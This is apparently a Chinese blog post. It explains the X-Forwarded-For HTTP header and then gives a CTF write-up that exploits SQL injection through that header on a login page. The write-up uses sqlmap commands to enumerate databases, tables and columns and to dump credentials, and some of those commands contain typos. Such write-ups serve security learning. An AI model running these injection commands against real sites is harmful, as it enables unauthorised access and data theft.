X-FORWARDED-FOR

首先,X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中。

XFF 的内容由「英文逗号 + 空格」隔开的多个部分组成,最开始的是离服务端最远的设备 IP,然后是每一级代理设备的 IP。

如果一个 HTTP 请求到达服务器之前,经过了三个代理 Proxy1、Proxy2、Proxy3,IP 分别为 IP1、IP2、IP3,用户真实 IP 为 IP0,那么按照 XFF 标准,服务端最终会收到以下信息:

X-Forwarded-For: IP0, IP1, IP2

Proxy3 直连服务器,它会给 XFF 追加 IP2,表示它是在帮 Proxy2 转发请求。列表中并没有 IP3,IP3 可以在服务端通过 Remote Address 字段获得。我们知道 HTTP 连接基于 TCP 连接,HTTP 协议中没有 IP 的概念,Remote Address 来自 TCP 连接,表示与服务端建立 TCP 连接的设备 IP,在这个例子里就是 IP3。

Remote Address 无法伪造,因为建立 TCP 连接需要三次握手,如果伪造了源 IP,无法建立 TCP 连接,更不会有后面的 HTTP 请求。不同语言获取 Remote Address 的方式不一样,例如 php 是 $_SERVER["REMOTE_ADDR"]。


进入网站发现只有一个登陆界面,任意输入用户名密码登陆报错并且弹出访问ip。

用burp抓包没发现X-Forwarded-For,由于题目提到X-Forwarded-For,添加测试

回显显示ip地址,故猜测后端是读取了x-forwarded-for的数据,

将x-forwarded-for的值改为*并保存为12.txt文档放在sqlmap文件目录下

使用sqlmap注入爆破

爆数据库

python sqlmap.py -r 12.txt --dbs --batch

爆表名

python ssqlmap.py -r12.txt -D 数据库名 --tables --batch

爆列名

python ssqlmap.py -r12.txt -D 数据库名 -T 表名  --columns --batch

报数据

python ssqlmap.py -r12.txt -D 数据库名 -T 表名  -C  dump 数据,数据,数据  --batch

获取账号密码成功登入得到key


*注:爆表名的时候在--table后必须加s  不加会报错

爆数据的时候在dump后把数据用单引号会报错

*

参考sqlmap命令详细:https://www.cnblogs.com/ichunqiu/p/5805108.html

最新文章

  1. python的异常处理
  2. 分享一个延迟加载图片的JS
  3. 关于html自闭合标签要不要加空格和斜杠的问题?
  4. Web大文件下载控件(down2)-示例更新-Xproer.HttpDownloader
  5. Windows Phone8 中如何引用 SQLite 数据库
  6. Berkeley DB的常见API简单分析
  7. MSSQL中把表中的数据导出成Insert
  8. spring 的配置 bean>>property>>name属性
  9. Mac OS X 程序员利器 – Homebrew安装与使用
  10. 【Ecstore2.0】第三方信任登陆问题解决_备忘
  11. git使用前配置
  12. 【JavaScript】双引号问题
  13. 说说SACC2016第八届架构师大会
  14. offset,client,scroll,style相关笔记
  15. python3中socket套接字的编码问题解决
  16. Servlet线程
  17. SpringMVC--入门案例
  18. Alpha冲刺(3/10)——2019.4.25
  19. Spring Cloud 组件 —— feign
  20. NSCTF web200

热门文章

  1. 题解-洛谷P2010-回文日期
  2. C#取视频某一帧图片
  3. 12-kubernetes Dashboard 认证及分级授权
  4. elastic search(es)安装
  5. NFS服务部署
  6. Python中的Tcp协议应用之TCP服务端-线程版
  7. Python中的Tcp协议的应用之Tcp服务端程序开发
  8. 【如何让代码变“高级”(二)】-这样操作值得一波666(Java Stream)(这么有趣)
  9. MySQL必知必会(Select)
  10. KVM http网络加载镜像报错(mount: wrong fs type, bad option, bad superblock on /dev/loop0)